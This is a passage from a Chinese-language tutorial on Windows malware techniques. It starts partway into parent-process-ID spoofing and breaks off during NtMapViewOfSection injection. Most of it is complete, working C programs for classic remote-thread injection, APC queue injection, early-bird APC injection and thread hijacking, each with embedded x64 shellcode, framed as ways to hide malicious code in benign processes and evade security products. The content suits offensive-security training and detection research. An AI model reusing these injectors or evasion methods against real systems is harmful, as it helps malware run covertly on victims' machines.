        {
            do
            {
                if (_wcsicmp(pe32.szExeFile, L"explorer.exe") == 0)
                {
                    CloseHandle(hSnapshot);
                    return pe32.th32ProcessID; // Returns the first instance's PID
                }
            } while (Process32Next(hSnapshot, &pe32));
        }
        CloseHandle(hSnapshot);
    }
    return 0;
}
```

一切顺利的话，我们会获得父进程的 PID，通过 OpenProcess 函数获得其句柄。

```c++
HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, pid);
```

结构体 **STARTUPINFOEX** 有着 **lpAttributeList** 成员，得以让我们传递**额外的属性**给 **CreateProcess** 函数调用。

```c++
typedef struct _STARTUPINFOEXW {
  STARTUPINFOW                 StartupInfo;
  LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
} STARTUPINFOEXW, *LPSTARTUPINFOEXW;
```

为了实现父进程伪造，该属性应当为 **PROC\_THREAD\_ATTRIBUTE\_PARENT\_PROCESS**。

```c++
BOOL InitializeProcThreadAttributeList(
  [out, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
  [in]            DWORD                        dwAttributeCount,
                  DWORD                        dwFlags,
  [in, out]       PSIZE_T                      lpSize
);
```

第一次调用 **InitializeProcThreadAttributeList** 函数，设置参数 **lpAttributeList** 为 **NULL**，这会让我们获得**属性列表**的**正确尺寸**。

```c++
SIZE_T attributeSize;
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
```

然后，尺寸被保存在 **attributeSize** 变量中。为 **LPPROC\_THREAD\_ATTRIBUTE\_LIST** 数据 (lpAttributeList 指针所指向)分配空间，然后再次调用 **InitializeProcThreadAttributeList** 函数来初始化进程的属性列表。

```c++
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
```

有了父进程的句柄，然后调用 UpdateProcThreadAttribute 函数更新属性列表。函数原型如下：

```c++
BOOL UpdateProcThreadAttribute(
  [in, out]       LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
  [in]            DWORD                        dwFlags,
  [in]            DWORD_PTR                    Attribute,
  [in]            PVOID                        lpValue,
  [in]            SIZE_T                       cbSize,
  [out, optional] PVOID                        lpPreviousValue,
  [in, optional]  PSIZE_T                      lpReturnSize
);
```

创建更新了属性列表之后的进程，**dwCreationFlags** 设置为 **EXTENDED\_STARTUPINFO\_PRESENT**。

```c++
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
```

最终代码如下：

```c++
#include <windows.h>
#include <TlHelp32.h>
#include <iostream>

DWORD FindExplorerProcessId()
{
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot)
    {
        PROCESSENTRY32 pe32;
        pe32.dwSize = sizeof(PROCESSENTRY32);
        if (Process32First(hSnapshot, &pe32))
        {
            do
            {
                if (_wcsicmp(pe32.szExeFile, L"explorer.exe") == 0)
                {
                    CloseHandle(hSnapshot);
                    return pe32.th32ProcessID; // Returns the first instance's PID
                }
            } while (Process32Next(hSnapshot, &pe32));
        }
        CloseHandle(hSnapshot);
    }
    return 0;
}



int main()
{
    DWORD pid = FindExplorerProcessId();
    if (pid != 0)
    {
        printf("The PID of the first instance of explorer.exe: %lu\n", pid);
    }
    else
    {
        printf("explorer.exe is not running.\n");
    }

	STARTUPINFOEXA si;
	PROCESS_INFORMATION pi;
	SIZE_T attributeSize;
	ZeroMemory(&si, sizeof(STARTUPINFOEXA));
	HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, pid);
	InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
	si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
	InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
	UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
	si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
	CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);

	return 0;
}
```

查看当前的 **explorer.exe** 进程，有着诸多子进程，包括即将运行该程序的 cmd.exe。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/ECXPmIFnppEI7nb3-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/ECXPmIFnppEI7nb3-image.png)

如果没有父进程欺骗，那么进程树的关系应该是 **explorer.exe -&gt; cmd.exe -&gt; ppid\_spoofing.exe -&gt; mspaint.exe**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/yE0SR5jQoOdL1RJF-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/yE0SR5jQoOdL1RJF-image.png)

我们看到，程序得以正确运行，mspaint.exe 成了 explorer.exe 的直接子进程。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/6HneAwnynrqpSYou-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/6HneAwnynrqpSYou-image.png)

# 沙箱检测

#### **延迟加载**

#### **判断 Debugging 环境**

#### **硬件特征**

#### **域与用户名**

# 代码注入与进程操纵

代码注入是一项恶意软件的常见技术，将恶意代码，如 shellcode，乃至 PE 文件，输入到目标进程，实现提高稳定性以及寄居在看起来良性的进程之中以规避检测。

代码注入的方法有很多，有着各自的优缺点，以及所需的 API 组合，我们接下来一起看看一些常见和先进的技术。

### **代码注入**

#### **经典进程注入**

首先我们要说的是经典的进程注入。步骤有以下这些：

根据我们需要，通过 PID 或者进程名来指定要注入的进程，我们需要用到 **CreateToolhelp32Snapshot** 函数创建进程列表的快照。

```c
HANDLE CreateToolhelp32Snapshot(
  [in] DWORD dwFlags,
  [in] DWORD th32ProcessID
);
```

配合 **Process32First** 与 **Process32Next** 逐个进程枚举，以找到进程名匹配的并返回 PID。

```c
BOOL Process32First(
  [in]      HANDLE           hSnapshot,
  [in, out] LPPROCESSENTRY32 lppe
);

BOOL Process32Next(
  [in]  HANDLE           hSnapshot,
  [out] LPPROCESSENTRY32 lppe
);
```

通过 **OpenProcess** 获得指定进程的句柄，用 **VirtualAllocEx** 为远程进程分配空间。

```c
HANDLE OpenProcess(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwProcessId
);
```

```c
LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);
```

接着，使用 **WriteProcessMemory** 为分配的空间写入 shellcode。

```c
BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);
```

之后，使用 **CreateRemoteThread** 函数创建远程的线程。

```c
HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);
```

代码如下：

```c
#include "Windows.h"
#include <stdio.h>
#include <TlHelp32.h>

unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";

int main() {
    HANDLE processHandle;
    HANDLE remoteThread;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        printf("Failed to create snapshot. Error: %lu\n", GetLastError());
        return 1;
    }

    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    if (!Process32First(snapshot, &processEntry)) {
        printf("Process32First failed. Error: %lu\n", GetLastError());
        return 1;
    }

    BOOL processFound = FALSE;
    while (TRUE) {
        if (_wcsicmp(processEntry.szExeFile, L"mspaint.exe") == 0) {
            processFound = TRUE;
            break;
        }
        if (!Process32Next(snapshot, &processEntry)) {
            if (GetLastError() != ERROR_NO_MORE_FILES) {
                printf("Process32Next failed. Error: %lu\n", GetLastError());
            }
            break;
        }
    }

    if (!processFound) {
        printf("Target process not found.\n");
        return 1;
    }

    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processEntry.th32ProcessID);
    if (processHandle == NULL) {
        printf("Failed to open target process. Error: %lu\n", GetLastError());
        return 1;
    }

    PVOID remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof(shellcode), (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    if (remoteBuffer == NULL) {
        printf("VirtualAllocEx failed. Error: %lu\n", GetLastError());
        return 1;
    }

    SIZE_T bytesWritten;
    if (!WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof(shellcode), &bytesWritten)) {
        printf("WriteProcessMemory failed. Error: %lu\n", GetLastError());
        return 1;
    }

    remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    if (remoteThread == NULL) {
        printf("CreateRemoteThread failed. Error: %lu\n", GetLastError());
        return 1;
    }

    printf("Injection successful.\n");
    return 0;
}

```

运行结果：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/sK68m8otmkvnMOq2-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/sK68m8otmkvnMOq2-image.png)

#### **APC 队列注入**

异步过程调用 (APC) 是 Windows 操作系统提供的一种机制，允许程序异步执行任务，从而促进程序内的并发操作。 它们在特定线程的上下文中作为**内核模式例程**执行，从而实现任务执行与主程序流的分离。这种机制对于需要执行后台任务同时继续其他操作的程序特别有用。

进程中的每个线程都有自己的 APC 队列，其中可以存储 APC，等待执行。应用程序可以利用 **QueueUserAPC** 函数将 APC 排队到特定线程，需要将 APC 函数的地址作为参数传递。该函数允许调用者指定 APC 应该排队的线程。

```c
DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC,
  [in] HANDLE    hThread,
  [in] ULONG_PTR dwData
);
```

然而，并非所有线程都能够立即执行排队的 APC。 只有处于**可警报状态**(一种特殊的等待状态) 的线程才能处理排队的 APC 函数。当线程进入可警报状态时，它会被添加到可警报线程队列中，使其有资格运行 APC。

APC 注入是一种利用此机制的进程注入技术，它涉及对 APC 进行排队，以便在另一个线程的上下文中异步执行载荷。为了实现这一点，注入的 shellcode 的地址被传递给 QueueUserAPC 函数，目的是当线程进入可警报状态时执行它，例如当它处于**睡眠模式**或**等待事件**时(如使用 SleepEx)。

使用此注入技术的限制之一是攻击者无法直接强制目标线程立即执行注入的代码。APC 注入的成功取决于目标线程进入可警报状态，这可能需要满足特定条件或在受害者系统上执行操作。尽管存在这种限制，APC 注入仍然是在另一个进程的上下文中执行恶意代码的有效技术。

知道相关的背景知识后，我们来看一下 APC 注入所需的步骤。

1. 给定进程名，返回第一个找到的进程的 PID，使用的是 CreateToolhelp32Snapshot，Process32First 以及 Process32Next 函数。
2. 使用 OpenProcess 根据 PID 获得目标进程的句柄，调用 VirtualAllocEx 为其分配写入 shellcode 的内存空间。
3. 让 APC 函数指向分配的空间(之后写入shellcode)，使用 WriteProcessMemory 向分配的空间写入 shellcode。
4. 使用 Thread32First 逐个枚举进程里的线程，对于每个线程，使用 **OpenThread** 获得句柄并调用 QueueUserAPC 将 APC 排队到线程中。
5. 当目标进程中的线程被调度时，我们的 shellcode 就会被执行

```c
#include <stdio.h>
#include <windows.h>
#include <TlHelp32.h>
#include <stdlib.h> 

int main() {
    unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        printf("Failed to create snapshot. Error: %lu\n", GetLastError());
        return 1;
    }

    HANDLE victimProcess = NULL;
    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
    DWORD threadIds[1024];
    int threadCount = 0;
    SIZE_T shellSize = sizeof(shellcode);
    HANDLE threadHandle = NULL;

    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processEntry.szExeFile, L"mspaint.exe") != 0 && Process32Next(snapshot, &processEntry));
        if (_wcsicmp(processEntry.szExeFile, L"mspaint.exe") != 0) {
            printf("Failed to find explorer.exe.\n");
            return 1;
        }
    }

    victimProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processEntry.th32ProcessID);
    if (!victimProcess) {
        printf("Failed to open target process. Error: %lu\n", GetLastError());
        return 1;
    }

    LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!shellAddress) {
        printf("Failed to allocate memory in target process. Error: %lu\n", GetLastError());
        return 1;
    }

    if (!WriteProcessMemory(victimProcess, shellAddress, shellcode, shellSize, NULL)) {
        printf("Failed to write shellcode to target process. Error: %lu\n", GetLastError());
        return 1;
    }

    PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;

    if (Thread32First(snapshot, &threadEntry)) {
        do {
            if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
                if (threadCount < 1024) {
                    threadIds[threadCount++] = threadEntry.th32ThreadID;
                }
            }
        } while (Thread32Next(snapshot, &threadEntry));
    }

    for (int i = 0; i < threadCount; i++) {
        threadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, threadIds[i]);
        QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
        Sleep(2000); 
    }

    return 0;
}
```

在等待一小段时间之后，shellcode 便被执行了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/Mhu6P7P9kGZPai12-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/Mhu6P7P9kGZPai12-image.png)

#### **早鸟 APC 队列注入**

APC 进程注入需要**挂起**或**可警报**线程才能成功执行 shellcode。但是，很难遇到处于这些状态的线程，尤其是在正常用户权限下运行的线程。解决方案的话，是使用 **CreateProcessA** 创建一个**挂起**的进程，并使用其挂起线程的句柄。挂起的线程满足 APC 进程注入中使用的标准。这种方法被称为**早鸟 APC 队列注入**。与常规 APC 队列注入技术相比，该技术的主要优点之一是，在早鸟技术中，恶意行为发生在进程初始化阶段的早期，降低了被安全产品检测的可能性。

早鸟 APC 队列注入的步骤如下：

1. 创建一个挂起的进程，通过调用 CreateProcessA 函数并指定进程的状态为 **CREATE\_SUSPENDED**
2. 使用 VirtualAllocEx 为该进程分配空间
3. 使 APC 例程指向分配的内存
4. 通过调用 WriteProcessMemory 函数将 shellcode 写入分配的内存中
5. 调用 QueueUserAPC 函数将 APC 排队到主线程
6. 调用 **ResumeThread** 继续线程的运行，shellcode 得以执行

```c
#include <stdio.h>
#include <windows.h>
#pragma comment(lib, "ntdll")

unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";

int main() {
    SIZE_T shellSize = sizeof(shellcode);
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };

    if (!CreateProcessA("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        printf("CreateProcess failed with error %lu\n", GetLastError());
        return 1;
    }

    HANDLE victimProcess = pi.hProcess;
    HANDLE threadHandle = pi.hThread;
    LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (shellAddress == NULL) {
        printf("VirtualAllocEx failed with error %lu\n", GetLastError());
        return 1;
    }

    if (!WriteProcessMemory(victimProcess, shellAddress, shellcode, shellSize, NULL)) {
        printf("WriteProcessMemory failed with error %lu\n", GetLastError());
        return 1;
    }

    if (QueueUserAPC((PAPCFUNC)shellAddress, threadHandle, NULL) == 0) {
        printf("QueueUserAPC failed with error %lu\n", GetLastError());
        return 1;
    }

    if (ResumeThread(threadHandle) == (DWORD)-1) {
        printf("ResumeThread failed with error %lu\n", GetLastError());
        return 1;
    }

    printf("Shellcode injected successfully.\n");
    CloseHandle(threadHandle);
    CloseHandle(victimProcess);

    return 0;
}

```

这样，我们便成功执行了 shellcode：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/k9UVVm4KJ2mqKale-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/k9UVVm4KJ2mqKale-image.png)

#### **线程劫持**

进程线程劫持是一种不创建新的线程便能执行 shellcode 的代码注入技术，通过挂起线程并更新 **RIP** 的指向实现。这样，当线程继续执行时，指令执行流程便跳转到了 shellcode 的开头。

实现线程劫持，有如下的步骤：

1. 指定 PID 或者进程名，并用 OpenProcess 获得目标进程的句柄
2. 使用 VirtualAllocEx 为目标进程分配空间用于存储 shellcode
3. 使用 WriteProcessMemory 将 shellcode 写入分配空间内
4. 指定线程 ID，并获得其句柄。这里，我们通过 CreateToolhelp32Snapshot，Thread32First，Thread32Next 等函数获得第一个找到的线程
5. 通过 OpenThread 获得对该线程的句柄，并调用 SuspendThread 函数挂起线程
6. 通过 **GetThreadContext** 获得上下文结构体，修改 **RIP** 地址使其指向 shellcode
7. 使用 **SetThreadContext** 更改上下文结构体，并通过 ResumeThread 继续线程的执行

除了之前我们提到过以及与之相似的 API，我们来聊一聊线程的上下文。GetThreadContext 与 SetThreadConext 分别用于获得与提交线程的上下文。线程上下文包含了线程继续执行所需的各种信息。

```c
BOOL GetThreadContext(
  [in]      HANDLE    hThread,
  [in, out] LPCONTEXT lpContext
);

BOOL SetThreadContext(
  [in] HANDLE        hThread,
  [in] const CONTEXT *lpContext
);
```

**上下文结构体** CONTEXT 包含了处理器特定的寄存器数据。系统使用上下文结构体来执行各种内部的操作：

```c
typedef struct _CONTEXT {
  DWORD64 P1Home;
  DWORD64 P2Home;
  DWORD64 P3Home;
  DWORD64 P4Home;
  DWORD64 P5Home;
  DWORD64 P6Home;
  DWORD   ContextFlags;
  DWORD   MxCsr;
  WORD    SegCs;
  WORD    SegDs;
  WORD    SegEs;
  WORD    SegFs;
  WORD    SegGs;
  WORD    SegSs;
  DWORD   EFlags;
  DWORD64 Dr0;
  DWORD64 Dr1;
  DWORD64 Dr2;
  DWORD64 Dr3;
  DWORD64 Dr6;
  DWORD64 Dr7;
  DWORD64 Rax;
  DWORD64 Rcx;
  DWORD64 Rdx;
  DWORD64 Rbx;
  DWORD64 Rsp;
  DWORD64 Rbp;
  DWORD64 Rsi;
  DWORD64 Rdi;
  DWORD64 R8;
  DWORD64 R9;
  DWORD64 R10;
  DWORD64 R11;
  DWORD64 R12;
  DWORD64 R13;
  DWORD64 R14;
  DWORD64 R15;
  DWORD64 Rip;
  union {
    XMM_SAVE_AREA32 FltSave;
    NEON128         Q[16];
    ULONGLONG       D[32];
    struct {
      M128A Header[2];
      M128A Legacy[8];
      M128A Xmm0;
      M128A Xmm1;
      M128A Xmm2;
      M128A Xmm3;
      M128A Xmm4;
      M128A Xmm5;
      M128A Xmm6;
      M128A Xmm7;
      M128A Xmm8;
      M128A Xmm9;
      M128A Xmm10;
      M128A Xmm11;
      M128A Xmm12;
      M128A Xmm13;
      M128A Xmm14;
      M128A Xmm15;
    } DUMMYSTRUCTNAME;
    DWORD           S[32];
  } DUMMYUNIONNAME;
  M128A   VectorRegister[26];
  DWORD64 VectorControl;
  DWORD64 DebugControl;
  DWORD64 LastBranchToRip;
  DWORD64 LastBranchFromRip;
  DWORD64 LastExceptionToRip;
  DWORD64 LastExceptionFromRip;
} CONTEXT, *PCONTEXT;
```

有了这些理解，那么可以构造出如下代码：

```c
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>

int main() {
    unsigned char shellcode[] = "\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";
    HANDLE targetProcessHandle;
    PVOID remoteBuffer;
    HANDLE threadHijacked = NULL;
    HANDLE snapshot;
    PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
    THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
    CONTEXT context;
    context.ContextFlags = CONTEXT_FULL;
    snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
    if (snapshot == INVALID_HANDLE_VALUE) {
        printf("Failed to create snapshot. Error: %lu\n", GetLastError());
        return 1; 
    }
    if (!Process32First(snapshot, &processEntry)) {
        printf("Process32First failed. Error: %lu\n", GetLastError());
        return 1;
    }

    BOOL processFound = FALSE;
    do {
        if (_wcsicmp(processEntry.szExeFile, L"mspaint.exe") == 0) {
            processFound = TRUE;
            break;
        }
    } while (Process32Next(snapshot, &processEntry));
    if (!processFound) {
        printf("Target process not found.\n");
        return 1;
    }
    targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processEntry.th32ProcessID);
    if (!targetProcessHandle) {
        printf("Failed to open target process. Error: %lu\n", GetLastError());
        return 1;
    }
    remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!remoteBuffer) {
        printf("VirtualAllocEx failed. Error: %lu\n", GetLastError());
        return 1;
    }
    if (!WriteProcessMemory(targetProcessHandle, remoteBuffer, shellcode, sizeof(shellcode), NULL)) {
        printf("WriteProcessMemory failed. Error: %lu\n", GetLastError());
        return 1;
    }
    if (!Thread32First(snapshot, &threadEntry)) {
        printf("Thread32First failed. Error: %lu\n", GetLastError());
        return 1;
    }

    BOOL threadFound = FALSE;
    do {
        if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
            threadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
            if (threadHijacked != NULL) {
                threadFound = TRUE;
                break;
            }
        }
    } while (Thread32Next(snapshot, &threadEntry));
    if (!threadFound) {
        printf("Failed to find or open any thread in target process.\n");
        return 1;
    }
    if (SuspendThread(threadHijacked) == (DWORD)-1) {
        printf("SuspendThread failed. Error: %lu\n", GetLastError());
        return 1;
    }
    if (!GetThreadContext(threadHijacked, &context)) {
        printf("GetThreadContext failed. Error: %lu\n", GetLastError());
        return 1;
    }
    context.Rip = (DWORD_PTR)remoteBuffer;
    if (!SetThreadContext(threadHijacked, &context)) {
        printf("SetThreadContext failed. Error: %lu\n", GetLastError());
        return 1;
    }
    if (ResumeThread(threadHijacked) == (DWORD)-1) {
        printf("ResumeThread failed. Error: %lu\n", GetLastError());
        return 1;
    }

    printf("Shellcode injection and thread hijack successful.\n");
    return 0;
}
```

运行结果：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2024-03/scaled-1680-/lTCsZCxKdjA6wB28-image.png)](https://raven-medicine.com/uploads/images/gallery/2024-03/lTCsZCxKdjA6wB28-image.png)

#### **NtCreateSection 与 NtMapViewOfSection 代码注入**

使用 **NtCreateSection** 与 **NtMapViewOfSection** 也可以实现进程注入，这里面用到了**内存节对象**(section object)与**视图**(view) 的概念。节对象表示**可以被共享的内存节**，一个进程可以使用节对象与其他进程共享它的部分内存空间。节对象还提供了进程将文件映射到其内存空间的机制。

每个内存节有着一个或多个对应的视图，节**的视图**是对**进程可见**的节的一部分。为节创建视图被称为映射节的视图。每个对节的内容进行操作的进程都有着自己的视图，一个进程可以有着多个视图(对相同或不同的节)。

综上，也就是说，如果要使进程能对节进行读写操作，该进程需要为节映射一个视图。多个进程可以通过映射的视图对节进行读写。

其中，我们可以使用 NTAPI NtCreateSection 来创建一个节：

```c
__kernel_entry NTSYSCALLAPI NTSTATUS NtCreateSection(
  [out]          PHANDLE            SectionHandle,
  [in]           ACCESS_MASK        DesiredAccess,
  [in, optional] POBJECT_ATTRIBUTES ObjectAttributes,
  [in, optional] PLARGE_INTEGER     MaximumSize,
  [in]           ULONG              SectionPageProtection,
  [in]           ULONG              AllocationAttributes,
  [in, optional] HANDLE             FileHandle
);
```

NtMapViewOfSection 用于映射节的指定部分至进程内存中。因为是 NTAPI，所以微软并没有对该 API 的官方文档。

```c
NtMapViewOfSection(
    _In_ HANDLE SectionHandle,
    _In_ HANDLE ProcessHandle,
    _Inout_ _At_(*BaseAddress, _Readable_bytes_(*ViewSize) _Writable_bytes_(*ViewSize) _Post_readable_byte_size_(*ViewSize)) PVOID *BaseAddress,
    _In_ ULONG_PTR ZeroBits,
    _In_ SIZE_T CommitSize,
    _Inout_opt_ PLARGE_INTEGER SectionOffset,
    _Inout_ PSIZE_T ViewSize,
    _In_ SECTION_INHERIT InheritDisposition,
